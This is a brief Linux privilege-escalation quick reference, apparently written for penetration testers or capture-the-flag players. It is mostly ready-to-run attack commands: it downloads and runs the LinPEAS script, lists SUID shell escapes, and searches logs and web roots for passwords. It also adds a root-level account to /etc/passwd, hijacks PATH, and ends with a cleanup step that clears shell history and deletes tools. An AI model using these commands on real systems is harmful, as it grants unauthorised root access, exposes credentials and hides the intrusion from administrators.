Linux Privilege Escalation Quick Reference

LinPEAS Automated Scan

```bash
# Download and run
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

Color Code:

- **RED/YELLOW**: 95% privilege escalation vector
- **Light Cyan**: Users with console access
- **Green**: Common findings

Manual Enumeration

SUID Binaries

```bash
find / -perm -4000 -type f 2>/dev/null

# Exploitable binaries:
nmap --interactive → !sh
vim → :!sh
find → find . -exec /bin/sh \;
```

Sudo & Passwords

```bash
sudo -l
grep -r "password" /var/log/ 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null
```

Cron Jobs

```bash
cat /etc/crontab
ls -la /etc/cron.*
```

World-Writable Files

```bash
find / -writable -type f 2>/dev/null | grep -v proc
```

Quick Escalation Methods

Writable /etc/passwd

```bash
echo 'root2:$1$salt$hash:0:0::/root:/bin/bash' >> /etc/passwd
```

PATH Manipulation

```bash
echo '/bin/sh' > /tmp/missing_command
chmod +x /tmp/missing_command
export PATH=/tmp:$PATH
```

System Info for Kernel Exploits

```bash
uname -a
cat /etc/issue
```

Cleanup

```bash
```

```
history -c
rm linpeas.sh exploit
```